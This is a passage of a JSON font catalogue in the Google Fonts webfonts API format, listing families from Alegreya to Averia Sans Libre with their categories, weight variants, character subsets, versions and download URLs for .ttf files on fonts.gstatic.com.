    "900italic": "http://fonts.gstatic.com/s/alegreya/v7/-L71QLH_XqgYWaI1GbOVhp0EAVxt0G0biEntp43Qt6E.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Alegreya SC",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic",
    "900",
    "900italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/alegreyasc/v6/3ozeFnTbygMK6PfHh8B-iqCWcynf_cDxXwCLxiixG1c.ttf",
    "italic": "http://fonts.gstatic.com/s/alegreyasc/v6/GOqmv3FLsJ2r6ZALMZVBmkeOrDcLawS7-ssYqLr2Xp4.ttf",
    "700": "http://fonts.gstatic.com/s/alegreyasc/v6/M9OIREoxDkvynwTpBAYUq3e1Pd76Vl7zRpE7NLJQ7XU.ttf",
    "700italic": "http://fonts.gstatic.com/s/alegreyasc/v6/5PCoU7IUfCicpKBJtBmP6c_zJjSACmk0BRPxQqhnNLU.ttf",
    "900": "http://fonts.gstatic.com/s/alegreyasc/v6/M9OIREoxDkvynwTpBAYUqyenaqEuufTBk9XMKnKmgDA.ttf",
    "900italic": "http://fonts.gstatic.com/s/alegreyasc/v6/5PCoU7IUfCicpKBJtBmP6U_yTOUGsoC54csJe1b-IRw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Alegreya Sans",
   "category": "sans-serif",
   "variants": [
    "100",
    "100italic",
    "300",
    "300italic",
    "regular",
    "italic",
    "500",
    "500italic",
    "700",
    "700italic",
    "800",
    "800italic",
    "900",
    "900italic"
   ],
   "subsets": [
    "vietnamese",
    "latin-ext",
    "latin"
   ],
   "version": "v3",
   "lastModified": "2014-08-28",
   "files": {
    "100": "http://fonts.gstatic.com/s/alegreyasans/v3/TKyx_-JJ6MdpQruNk-t-PJFGFO4uyVFMfB6LZsii7kI.ttf",
    "100italic": "http://fonts.gstatic.com/s/alegreyasans/v3/gRkSP2lBpqoMTVxg7DmVn2cDnjsrnI9_xJ-5gnBaHsE.ttf",
    "300": "http://fonts.gstatic.com/s/alegreyasans/v3/11EDm-lum6tskJMBbdy9acB1LjARzAvdqa1uQC32v70.ttf",
    "300italic": "http://fonts.gstatic.com/s/alegreyasans/v3/WfiXipsmjqRqsDBQ1bA9CnfqlVoxTUFFx1C8tBqmbcg.ttf",
    "regular": "http://fonts.gstatic.com/s/alegreyasans/v3/KYNzioYhDai7mTMnx_gDgn8f0n03UdmQgF_CLvNR2vg.ttf",
    "italic": "http://fonts.gstatic.com/s/alegreyasans/v3/TKyx_-JJ6MdpQruNk-t-PD4G9C9ttb0Oz5Cvf0qOitE.ttf",
    "500": "http://fonts.gstatic.com/s/alegreyasans/v3/11EDm-lum6tskJMBbdy9aQqQmZ7VjhwksfpNVG0pqGc.ttf",
    "500italic": "http://fonts.gstatic.com/s/alegreyasans/v3/WfiXipsmjqRqsDBQ1bA9Cs7DCVO6wo6i5LKIyZDzK40.ttf",
    "700": "http://fonts.gstatic.com/s/alegreyasans/v3/11EDm-lum6tskJMBbdy9aVCbmAUID8LN-q3pJpOk3Ys.ttf",
    "700italic": "http://fonts.gstatic.com/s/alegreyasans/v3/WfiXipsmjqRqsDBQ1bA9CpF66r9C4AnxxlBlGd7xY4g.ttf",
    "800": "http://fonts.gstatic.com/s/alegreyasans/v3/11EDm-lum6tskJMBbdy9acxnD5BewVtRRHHljCwR2bM.ttf",
    "800italic": "http://fonts.gstatic.com/s/alegreyasans/v3/WfiXipsmjqRqsDBQ1bA9CicOAJ_9MkLPbDmrtXDPbIU.ttf",
    "900": "http://fonts.gstatic.com/s/alegreyasans/v3/11EDm-lum6tskJMBbdy9aW42xlVP-j5dagE7-AU2zwg.ttf",
    "900italic": "http://fonts.gstatic.com/s/alegreyasans/v3/WfiXipsmjqRqsDBQ1bA9ChRaDUI9aE8-k7PrIG2iiuo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Alegreya Sans SC",
   "category": "sans-serif",
   "variants": [
    "100",
    "100italic",
    "300",
    "300italic",
    "regular",
    "italic",
    "500",
    "500italic",
    "700",
    "700italic",
    "800",
    "800italic",
    "900",
    "900italic"
   ],
   "subsets": [
    "vietnamese",
    "latin-ext",
    "latin"
   ],
   "version": "v3",
   "lastModified": "2014-08-28",
   "files": {
    "100": "http://fonts.gstatic.com/s/alegreyasanssc/v3/trwFkDJLOJf6hqM93944kVnzStfdnFU-MXbO84aBs_M.ttf",
    "100italic": "http://fonts.gstatic.com/s/alegreyasanssc/v3/qG3gA9iy5RpXMH4crZboqqakMVR0XlJhO7VdJ8yYvA4.ttf",
    "300": "http://fonts.gstatic.com/s/alegreyasanssc/v3/AjAmkoP1y0Vaad0UPPR46-1IqtfxJspFjzJp0SaQRcI.ttf",
    "300italic": "http://fonts.gstatic.com/s/alegreyasanssc/v3/0VweK-TO3aQgazdxg8fs0CnTKaH808trtzttbEg4yVA.ttf",
    "regular": "http://fonts.gstatic.com/s/alegreyasanssc/v3/6kgb6ZvOagoVIRZyl8XV-EklWX-XdLVn1WTiuGuvKIU.ttf",
    "italic": "http://fonts.gstatic.com/s/alegreyasanssc/v3/trwFkDJLOJf6hqM93944kTfqo69HNOlCNZvbwAmUtiA.ttf",
    "500": "http://fonts.gstatic.com/s/alegreyasanssc/v3/AjAmkoP1y0Vaad0UPPR46_hHTluI57wqxl55RvSYo3s.ttf",
    "500italic": "http://fonts.gstatic.com/s/alegreyasanssc/v3/0VweK-TO3aQgazdxg8fs0NqVvxKdFVwqwzilqfVd39U.ttf",
    "700": "http://fonts.gstatic.com/s/alegreyasanssc/v3/AjAmkoP1y0Vaad0UPPR4600aId5t1FC-xZ8nmpa_XLk.ttf",
    "700italic": "http://fonts.gstatic.com/s/alegreyasanssc/v3/0VweK-TO3aQgazdxg8fs0IBYn3VD6xMEnodOh8pnFw4.ttf",
    "800": "http://fonts.gstatic.com/s/alegreyasanssc/v3/AjAmkoP1y0Vaad0UPPR46wQgSHD3Lo1Mif2Wkk5swWA.ttf",
    "800italic": "http://fonts.gstatic.com/s/alegreyasanssc/v3/0VweK-TO3aQgazdxg8fs0HStmCm6Rs90XeztCALm0H8.ttf",
    "900": "http://fonts.gstatic.com/s/alegreyasanssc/v3/AjAmkoP1y0Vaad0UPPR461Rf9EWUSEX_PR1d_gLKfpM.ttf",
    "900italic": "http://fonts.gstatic.com/s/alegreyasanssc/v3/0VweK-TO3aQgazdxg8fs0IvtwEfTCJoOJugANj-jWDI.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Alex Brush",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/alexbrush/v6/ooh3KJFbKJSUoIRWfiu8o_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Alfa Slab One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/alfaslabone/v5/Qx6FPcitRwTC_k88tLPc-Yjjx0o0jr6fNXxPgYh_a8Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Alice",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/alice/v7/wZTAfivekBqIg-rk63nFvQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Alike",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/alike/v7/Ho8YpRKNk_202fwDiGNIyw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Alike Angular",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/alikeangular/v6/OpeCu4xxI3qO1C7CZcJtPT3XH2uEnVI__ynTBvNyki8.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Allan",
   "category": "display",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/allan/v7/T3lemhgZmLQkQI2Qc2bQHA.ttf",
    "700": "http://fonts.gstatic.com/s/allan/v7/zSxQiwo7wgnr7KkMXhSiag.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Allerta",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/allerta/v7/s9FOEuiJFTNbMe06ifzV8g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Allerta Stencil",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/allertastencil/v7/CdSZfRtHbQrBohqmzSdDYFf2eT4jUldwg_9fgfY_tHc.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Allura",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/allura/v4/4hcqgZanyuJ2gMYWffIR6A.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Almendra",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/almendra/v8/PDpbB-ZF7deXAAEYPkQOeg.ttf",
    "italic": "http://fonts.gstatic.com/s/almendra/v8/CNWLyiDucqVKVgr4EMidi_esZW2xOQ-xsNqO47m55DA.ttf",
    "700": "http://fonts.gstatic.com/s/almendra/v8/ZpLdQMj7Q2AFio4nNO6A76CWcynf_cDxXwCLxiixG1c.ttf",
    "700italic": "http://fonts.gstatic.com/s/almendra/v8/-tXHKMcnn6FqrhJV3l1e3QJKKGfqHaYFsRG-T3ceEVo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Almendra Display",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/almendradisplay/v6/2Zuu97WJ_ez-87yz5Ai8fF6uyC_qD11hrFQ6EGgTJWI.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Almendra SC",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/almendrasc/v6/IuiLd8Fm9I6raSalxMoWeaCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Amarante",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/amarante/v4/2dQHjIBWSpydit5zkJZnOw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Amaranth",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/amaranth/v6/7VcBog22JBHsHXHdnnycTA.ttf",
    "italic": "http://fonts.gstatic.com/s/amaranth/v6/UrJlRY9LcVERJSvggsdBqPesZW2xOQ-xsNqO47m55DA.ttf",
    "700": "http://fonts.gstatic.com/s/amaranth/v6/j5OFHqadfxyLnQRxFeox6qCWcynf_cDxXwCLxiixG1c.ttf",
    "700italic": "http://fonts.gstatic.com/s/amaranth/v6/BHyuYFj9nqLFNvOvGh0xTwJKKGfqHaYFsRG-T3ceEVo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Amatic SC",
   "category": "handwriting",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/amaticsc/v6/MldbRWLFytvqxU1y81xSVg.ttf",
    "700": "http://fonts.gstatic.com/s/amaticsc/v6/IDnkRTPGcrSVo50UyYNK7y3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Amethysta",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/amethysta/v4/1jEo9tOFIJDolAUpBnWbnA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Anaheim",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/anaheim/v4/t-z8aXHMpgI2gjN_rIflKA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Andada",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/andada/v7/rSFaDqNNQBRw3y19MB5Y4w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Andika",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/andika/v6/oe-ag1G0lcqZ3IXfeEgaGg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Angkor",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/angkor/v8/DLpLgIS-8F10ecwKqCm95Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Annie Use Your Telescope",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/annieuseyourtelescope/v6/2cuiO5VmaR09C8SLGEQjGqbp7mtG8sPlcZvOaO8HBak.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Anonymous Pro",
   "category": "monospace",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "greek",
    "cyrillic"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/anonymouspro/v8/Zhfjj_gat3waL4JSju74E-V_5zh5b-_HiooIRUBwn1A.ttf",
    "italic": "http://fonts.gstatic.com/s/anonymouspro/v8/q0u6LFHwttnT_69euiDbWKwIsuKDCXG0NQm7BvAgx-c.ttf",
    "700": "http://fonts.gstatic.com/s/anonymouspro/v8/WDf5lZYgdmmKhO8E1AQud--Cz_5MeePnXDAcLNWyBME.ttf",
    "700italic": "http://fonts.gstatic.com/s/anonymouspro/v8/_fVr_XGln-cetWSUc-JpfA1LL9bfs7wyIp6F8OC9RxA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Antic",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/antic/v7/hEa8XCNM7tXGzD0Uk0AipA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Antic Didone",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/anticdidone/v4/r3nJcTDuOluOL6LGDV1vRy3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Antic Slab",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/anticslab/v4/PSbJCTKkAS7skPdkd7AKEvesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Anton",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/anton/v6/XIbCenm-W0IRHWYIh7CGUQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Arapey",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/arapey/v5/dqu823lrSYn8T2gApTdslA.ttf",
    "italic": "http://fonts.gstatic.com/s/arapey/v5/pY-Xi5JNBpaWxy2tZhEm5A.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Arbutus",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/arbutus/v5/Go_hurxoUsn5MnqNVQgodQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Arbutus Slab",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/arbutusslab/v4/6k3Yp6iS9l4jRIpynA8qMy3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Architects Daughter",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/architectsdaughter/v6/RXTgOOQ9AAtaVOHxx0IUBMCy0EhZjHzu-y0e6uLf4Fg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Archivo Black",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/archivoblack/v4/WoAoVT7K3k7hHfxKbvB6B51XQG8isOYYJhPIYAyrESQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Archivo Narrow",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/archivonarrow/v5/DsLzC9scoPnrGiwYYMQXppTvAuddT2xDMbdz0mdLyZY.ttf",
    "italic": "http://fonts.gstatic.com/s/archivonarrow/v5/vqsrtPCpTU3tJlKfuXP5zUpmlyBQEFfdE6dERLXdQGQ.ttf",
    "700": "http://fonts.gstatic.com/s/archivonarrow/v5/M__Wu4PAmHf4YZvQM8tWsMLtdzs3iyjn_YuT226ZsLU.ttf",
    "700italic": "http://fonts.gstatic.com/s/archivonarrow/v5/wG6O733y5zHl4EKCOh8rSTg5KB8MNJ4uPAETq9naQO8.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Arimo",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "greek-ext",
    "vietnamese",
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/arimo/v8/Gpeo80g-5ji2CcyXWnzh7g.ttf",
    "italic": "http://fonts.gstatic.com/s/arimo/v8/_OdGbnX2-qQ96C4OjhyuPw.ttf",
    "700": "http://fonts.gstatic.com/s/arimo/v8/ZItXugREyvV9LnbY_gxAmw.ttf",
    "700italic": "http://fonts.gstatic.com/s/arimo/v8/__nOLWqmeXdhfr0g7GaFePesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Arizonia",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/arizonia/v6/yzJqkHZqryZBTM7RKYV9Wg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Armata",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/armata/v6/1H8FwGgIRrbYtxSfXhOHlQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Artifika",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/artifika/v6/Ekfp4H4QG7D-WsABDOyj8g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Arvo",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/arvo/v8/vvWPwz-PlZEwjOOIKqoZzA.ttf",
    "italic": "http://fonts.gstatic.com/s/arvo/v8/id5a4BCjbenl5Gkqonw_Rw.ttf",
    "700": "http://fonts.gstatic.com/s/arvo/v8/OB3FDST7U38u3OjPK_vvRQ.ttf",
    "700italic": "http://fonts.gstatic.com/s/arvo/v8/Hvl2MuWoXLaCy2v6MD4Yvw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Asap",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/asap/v4/2lf-1MDR8tsTpEtvJmr2hA.ttf",
    "italic": "http://fonts.gstatic.com/s/asap/v4/mwxNHf8QS8gNWCAMwkJNIg.ttf",
    "700": "http://fonts.gstatic.com/s/asap/v4/o5RUA7SsJ80M8oDFBnrDbg.ttf",
    "700italic": "http://fonts.gstatic.com/s/asap/v4/_rZz9y2oXc09jT5T6BexLQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Asset",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/asset/v6/hfPmqY-JzuR1lULlQf9iTg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Astloch",
   "category": "display",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/astloch/v6/fmbitVmHYLQP7MGPuFgpag.ttf",
    "700": "http://fonts.gstatic.com/s/astloch/v6/aPkhM2tL-tz1jX6aX2rvo_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Asul",
   "category": "sans-serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/asul/v5/9qpsNR_OOwyOYyo2N0IbBw.ttf",
    "700": "http://fonts.gstatic.com/s/asul/v5/uO8uNmxaq87-DdPmkEg5Gg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Atomic Age",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/atomicage/v6/WvBMe4FxANIKpo6Oi0mVJ_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Aubrey",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/aubrey/v8/zo9w8klO8bmOQIMajQ2aTA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Audiowide",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/audiowide/v4/yGcwRZB6VmoYhPUYT-mEow.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Autour One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/autourone/v4/2xmQBcg7FN72jaQRFZPIDvesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Average",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/average/v4/aHUibBqdDbVYl5FM48pxyQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Average Sans",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/averagesans/v4/dnU3R-5A_43y5bIyLztPsS3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Averia Gruesa Libre",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/averiagruesalibre/v4/10vbZTOoN6T8D-nvDzwRFyXcKHuZXlCN8VkWHpkUzKM.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Averia Libre",
   "category": "display",
   "variants": [
    "300",
    "300italic",
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/averialibre/v4/r6hGL8sSLm4dTzOPXgx5XacQoVhARpoaILP7amxE_8g.ttf",
    "300italic": "http://fonts.gstatic.com/s/averialibre/v4/I6wAYuAvOgT7el2ePj2nkina0FLWfcB-J_SAYmcAXaI.ttf",
    "regular": "http://fonts.gstatic.com/s/averialibre/v4/rYVgHZZQICWnhjguGsBspC3USBnSvpkopQaUR-2r7iU.ttf",
    "italic": "http://fonts.gstatic.com/s/averialibre/v4/1etzuoNxVHR8F533EkD1WfMZXuCXbOrAvx5R0IT5Oyo.ttf",
    "700": "http://fonts.gstatic.com/s/averialibre/v4/r6hGL8sSLm4dTzOPXgx5XUD2ttfZwueP-QU272T9-k4.ttf",
    "700italic": "http://fonts.gstatic.com/s/averialibre/v4/I6wAYuAvOgT7el2ePj2nkvAs9-1nE9qOqhChW0m4nDE.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Averia Sans Libre",
   "category": "display",
   "variants": [
    "300",
    "300italic",
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/averiasanslibre/v4/_9-jTfQjaBsWAF_yp5z-V4CP_KG_g80s1KXiBtJHoNc.ttf",
    "300italic": "http://fonts.gstatic.com/s/averiasanslibre/v4/o7BEIK-fG3Ykc5Rzteh88YuyGu4JqttndUh4gRKxic0.ttf",
    "regular": "http://fonts.gstatic.com/s/averiasanslibre/v4/yRJpjT39KxACO9F31mj_LqV8_KRn4epKAjTFK1s1fsg.ttf",
